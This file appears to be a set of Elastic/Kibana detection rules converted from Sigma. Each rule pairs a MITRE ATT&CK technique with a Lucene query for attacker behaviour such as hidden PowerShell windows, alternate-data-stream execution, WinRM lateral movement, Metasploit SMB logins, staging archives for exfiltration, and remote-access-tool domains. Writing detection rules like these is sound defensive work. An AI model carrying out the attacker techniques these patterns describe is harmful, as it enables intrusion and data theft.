{"description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b205b863-812b-d678-e517-b15c7ef7e76b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious PowerShell WindowStyle Option", "query": "(powershell.file.script_block_text:*powershell* AND powershell.file.script_block_text:*WindowStyle* AND powershell.file.script_block_text:*Hidden*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users.\nIn some cases, windows that would typically be displayed when an application carries out an operation can be hidden\n", "author": ["frack113", "Tim Shelton (fp AWS)"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b205b863-812b-d678-e517-b15c7ef7e76b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious PowerShell WindowStyle Option", "query": "((powershell.file.script_block_text:*powershell* AND powershell.file.script_block_text:*WindowStyle* AND powershell.file.script_block_text:*Hidden*) AND (NOT (powershell.file.script_block_text:*\\:\\\\Program\\ Files\\\\Amazon\\\\WorkSpacesConfig\\\\Scripts\\\\* AND powershell.file.script_block_text:*$PSScriptRoot\\\\Module\\\\WorkspaceScriptModule\\\\WorkspaceScriptModule*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "55099a55-1aa7-07e8-9869-730f4c89f6df", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Execute From Alternate Data Streams", "query": "(process.command_line.text:*txt\\:* AND ((process.command_line.text:*type\\ * AND process.command_line.text:*\\ >\\ *) OR (process.command_line.text:*makecab\\ * AND process.command_line.text:*.cab*) OR (process.command_line.text:*reg\\ * AND process.command_line.text:*\\ export\\ *) OR (process.command_line.text:*regedit\\ * AND process.command_line.text:*\\ \\/E\\ *) OR (process.command_line.text:*esentutl\\ * AND process.command_line.text:*\\ \\/y\\ * AND process.command_line.text:*\\ \\/d\\ * AND process.command_line.text:*\\ \\/o\\ *)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation.\nA port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0ea10bbc-fdfd-a394-fea9-e0f27759ba2a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Add Port Monitor Persistence in Registry", "query": "((winlog.event_data.TargetObject:HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Print\\\\Monitors\\\\* AND winlog.event_data.Details:*.dll AND winlog.event_data.EventType:\"SetValue\") AND (NOT ((process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\spoolsv.exe\" AND winlog.event_data.TargetObject:*\\\\System\\\\CurrentControlSet\\\\Control\\\\Print\\\\Monitors\\\\CutePDF\\ Writer\\ Monitor\\ v4.0\\\\Driver* AND winlog.event_data.Details:\"cpwmon64_v40.dll\" AND user.name:(*AUTHORI* OR *AUTORI*)) OR (winlog.event_data.TargetObject:*Control\\\\Print\\\\Monitors\\\\MONVNC\\\\Driver*) OR (winlog.event_data.TargetObject:*Control\\\\Print\\\\Environments\\\\* AND winlog.event_data.TargetObject:*\\\\Drivers\\\\* AND winlog.event_data.TargetObject:*\\\\VNC\\ Printer*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "enabled": false, "false_positives": ["Admin activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "58fb0b37-1797-4b4b-962a-3cbd0152c048", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "System Owner or User Discovery", "query": "(type:\"EXECVE\" AND a0:(\"users\" OR \"w\" OR \"who\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1033"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1033", "name": "System Owner/User Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "44140c99-86d4-1458-340b-c90b277fa6e7", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious New-PSDrive to Admin Share", "query": "(powershell.file.script_block_text:*New\\-PSDrive* AND powershell.file.script_block_text:*\\-psprovider\\ * AND powershell.file.script_block_text:*filesystem* AND powershell.file.script_block_text:*\\-root\\ * AND powershell.file.script_block_text:*\\\\\\* AND powershell.file.script_block_text:*$*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", "enabled": false, "false_positives": ["Legitimate script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7e409b40-0f21-44a7-fd87-ad6c4a41dfdd", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Enable Windows Remote Management", "query": "powershell.file.script_block_text:*Enable\\-PSRemoting\\ *", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.", "enabled": false, "false_positives": ["Legitimate script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "23494bc7-eb2b-058a-d2c4-7569cfe70e06", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Execute Invoke-command on Remote Host", "query": "(powershell.file.script_block_text:*invoke\\-command\\ * AND powershell.file.script_block_text:*\\ \\-ComputerName\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d59addc6-27c4-1241-fe65-ad5e22a27967", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "WinRM Access with Evil-WinRM", "query": "(process.executable:*\\\\ruby.exe AND process.command_line:*\\-i\\ * AND process.command_line:*\\-u\\ * AND process.command_line:*\\-p\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", "enabled": false, "false_positives": ["WSL (Windows Sub System For Linux)", "Other currently unknown software"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "566014df-030a-b237-9478-2d5278749de5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Remote Desktop Protocol Use Mstsc", "query": "((((process.executable.text:*\\\\mstsc.exe OR winlog.event_data.OriginalFileName:\"mstsc.exe\") AND process.command_line.text:*\\ \\/v\\:*) AND (NOT ((process.parent.executable.text:\"C\\:\\\\Windows\\\\System32\\\\lxss\\\\wslhost.exe\" AND process.command_line.text:*C\\:\\\\ProgramData\\\\Microsoft\\\\WSL\\\\wslg.rdp*)))) OR ((process.executable.text:*\\\\cmdkey.exe OR winlog.event_data.OriginalFileName:\"cmdkey.exe\") AND (process.command_line.text:*\\ \\/g* AND process.command_line.text:*\\ \\/u* AND process.command_line.text:*\\ \\/p*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts.\nWithout knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2e58917c-95a7-dc0c-9375-05a9830e6cae", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Connection to Remote Account", "query": "powershell.file.script_block_text:(*System.DirectoryServices.Protocols.LdapDirectoryIdentifier* OR *System.Net.NetworkCredential* OR *System.DirectoryServices.Protocols.LdapConnection*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Credential Access", "T1110"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1110", "name": "Brute Force", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Alert for the addition of a new federated domain.", "enabled": false, "false_positives": ["The creation of a new Federated domain is not necessarily malicious, however these events need to be followed closely, as it may indicate federated credential abuse or backdoor via federated identities at a similar or different cloud provider."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "2b962c04-f5cd-a5b4-8177-5ed9ca8abfb3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "New Federated Domain Added", "query": "(eventSource:\"Exchange\" AND eventName:\"Add\\-FederatedDomain\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["@ionsor"], "license": ""}
{"description": "Alerts on Metasploit host's authentications on the domain.", "enabled": false, "false_positives": ["Linux hostnames composed of 16 characters."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6caef4d6-408e-1fe2-0fe0-e890960b3fe4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Metasploit SMB Authentication", "query": "(winlog.channel:\"Security\" AND ((winlog.event_id:(\"4625\" OR \"4624\") AND winlog.event_data.LogonType:\"3\" AND winlog.event_data.AuthenticationPackageName:\"NTLM\" AND source.domain:/^[A-Za-z0-9]{16}$/) OR (NOT _exists_:winlog.event_data.ProcessName AND winlog.event_id:\"4776\" AND Workstation:/^[A-Za-z0-9]{16}$/)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Chakib Gzenayi (@Chak092)", "Hosni Mribah"], "license": ""}
{"description": "Alerts on trust record modification within the registry, indicating usage of macros", "enabled": false, "false_positives": ["Alerts on legitimate macro usage as well, will need to filter as appropriate"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "69cf6f26-5c32-48fc-73bc-abcfecad3e6e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows Registry Trust Record Modification", "query": "winlog.event_data.TargetObject:*TrustRecords*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Antonlovesdnb"], "license": ""}
{"description": "Allow Incoming Connections by Port or Application on Windows Firewall", "enabled": false, "false_positives": ["Legitimate administration"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f1f9adfc-b067-660b-aa24-5de3dc9dc0f5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Netsh Port or Application Allowed", "query": "((process.executable:*\\\\netsh.exe AND process.command_line:*firewall* AND process.command_line:*add*) AND (NOT ((process.command_line:(*\\\\netsh.exe\\ advfirewall\\ firewall\\ add\\ rule\\ name\\=Dropbox\\ dir\\=in\\ action\\=allow\\ \\\"program\\=C\\:\\\\Program\\ Files\\ \$x86\$\\\\Dropbox\\\\Client\\\\Dropbox.exe\\\"\\ enable\\=yes\\ profile\\=Any* OR *\\\\netsh.exe\\ advfirewall\\ firewall\\ add\\ rule\\ name\\=Dropbox\\ dir\\=in\\ action\\=allow\\ \\\"program\\=C\\:\\\\Program\\ Files\\\\Dropbox\\\\Client\\\\Dropbox.exe\\\"\\ enable\\=yes\\ profile\\=Any*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [" (Lazarus HARDRAIN)", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis", "Sander Wiebing"], "license": ""}
{"description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", "enabled": false, "false_positives": ["Highly likely if archive operations are done via PowerShell."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "882a61c7-5222-a88e-8a8c-4139c97e081f", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Data Compressed - PowerShell", "query": "(powershell.file.script_block_text:*\\-Recurse* AND powershell.file.script_block_text:*|* AND powershell.file.script_block_text:*Compress\\-Archive*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1560"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", "enabled": false, "false_positives": ["Highly likely if rar is a default archiver in the monitored environment."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "074bf51d-447e-138b-dc2a-1b3ecd117f3d", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Data Compressed - rar.exe", "query": "(process.executable:*\\\\rar.exe AND process.command_line:*\\ a\\ *)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1560"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1560", "name": "Archive Collected Data", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "E.M. Anhaus", "oscd.community"], "license": ""}
{"description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", "enabled": false, "false_positives": ["Legitimate use of archiving tools by legitimate user."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "374fe3d6-4dbd-08d7-d083-0b8dac1df0aa", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Data Compressed", "query": "(type:\"execve\" AND (a0:\"zip\" OR (a0:\"gzip\" AND a1:\"\\-f\") OR (a0:\"tar\" AND a1:*\\-c*)))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1560"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", "enabled": false, "false_positives": ["Command line parameter combinations that contain all included strings"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "93ea7176-bd67-5890-6093-6a8d6b195efc", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Compress Data and Lock With Password for Exfiltration With 7-ZIP", "query": "(process.command_line:(*7z.exe* OR *7za.exe*) AND process.command_line:*\\ \\-p* AND process.command_line:(*\\ a\\ * OR *\\ u\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1560"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1560", "name": "Archive Collected Data", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ba703080-9820-bbf2-1b9e-3e4308731b81", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Compress Data and Lock With Password for Exfiltration With WINZIP", "query": "(process.command_line:(*winzip.exe* OR *winzip64.exe*) AND process.command_line:*\\-s\\\"* AND process.command_line:(*\\ \\-min\\ * OR *\\ \\-a\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1560"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1560", "name": "Archive Collected Data", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users.\nThis may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9a3c92bc-c0bc-b1a9-9dca-f494d3b9683d", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Replace Desktop Wallpaper by Powershell", "query": "((powershell.file.script_block_text:*Get\\-ItemProperty* AND powershell.file.script_block_text:*Registry\\:\\:* AND powershell.file.script_block_text:*HKEY_CURRENT_USER\\\\Control\\ Panel\\\\Desktop\\\\* AND powershell.file.script_block_text:*WallPaper*) OR powershell.file.script_block_text:*SystemParametersInfo\$20,0,*,3\$*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1491"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1491", "name": "Defacement", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "enabled": false, "false_positives": ["FP may be caused in legitimate usage of the softwares mentioned above"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eaa99f35-2bc3-898e-be87-c6895329c52c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Query To Remote Access Software Domain", "query": "(dns.question.name:(*.getgo.com OR *.logmein.com OR *.ammyy.com OR *.netsupportsoftware.com OR *remoteutilities.com) AND (NOT (process.executable.text:(*\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe OR *\\\\brave.exe OR *\\\\chromium.exe OR *\\\\firefox.exe OR *\\\\msedge.exe OR *\\\\opera.exe OR *\\\\microsoftedge.exe OR *\\\\iexplorer.exe OR *\\\\vivaldi.exe OR *\\\\CCleaner\\ Browser\\\\Application\\\\CCleanerBrowser.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c47f9872-d2b8-a181-51fd-529ad08060bb", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Query to Ammyy Remote Access Software Domain", "query": "dns.question.name:*.ammyy.com", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "49474043-c871-cddc-9bcd-71cec3c349fd", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Query to GoToAssist Remote Access Software Domain", "query": "dns.question.name:*.getgo.com", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) \n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bfbd0de8-4b80-0933-e856-ddbcc0587ca1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Query to LogMeIn Remote Access Software Domain", "query": "dns.question.name:*.logmein.com", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "author": ["frack113", "Connor Martin"], "enabled": false, "false_positives": ["Legitimate usage of the softwares mentioned above"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7c2c59aa-3624-c038-bc19-7b0e429a01b5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "DNS Query To Remote Access Software Domain", "query": "(dns.question.name:(*.getgo.com OR *.logmein.com OR *.ammyy.com OR *.netsupportsoftware.com OR *remoteutilities.com OR *.net.anydesk.com OR *api.playanext.com OR *.relay.splashtop.com OR *.api.splashtop.com OR *app.atera.com OR *.agentreporting.atera.com OR *.pubsub.atera.com OR *logmeincdn.http.internapcdn.net OR *logmein\\-gateway.com OR *client.teamviewer.com OR *integratedchat.teamviewer.com OR *static.remotepc.com OR *.n\\-able.com OR *comserver.corporate.beanywhere.com OR *.swi\\-rc.com OR *.swi\\-tc.com OR *telemetry.servers.qetqo.com OR *relay.screenconnect.com OR *control.connectwise.com OR *express.gotoassist.com OR *authentication.logmeininc.com OR *.services.vnc.com OR *.tmate.io OR *api.parsec.app OR *parsecusercontent.com OR *remotedesktop\\-pa.googleapis.com OR *.logmein\\-gateway.com OR *secure.logmeinrescue.com OR *join.zoho.com OR *assist.zoho.com OR *.zohoassist.com OR *downloads.zohocdn.com OR *agent.jumpcloud.com OR *kickstart.jumpcloud.com OR *cdn.kaseya.net OR *relay.kaseya.net OR *license.bomgar.com OR *.beyondtrustcloud.com) AND (NOT (process.executable.text:(*\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe OR *\\\\brave.exe OR *\\\\chromium.exe OR *\\\\firefox.exe OR *\\\\msedge.exe OR *\\\\opera.exe OR *\\\\microsoftedge.exe OR *\\\\iexplorer.exe OR *\\\\vivaldi.exe OR *\\\\CCleaner\\ Browser\\\\Application\\\\CCleanerBrowser.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
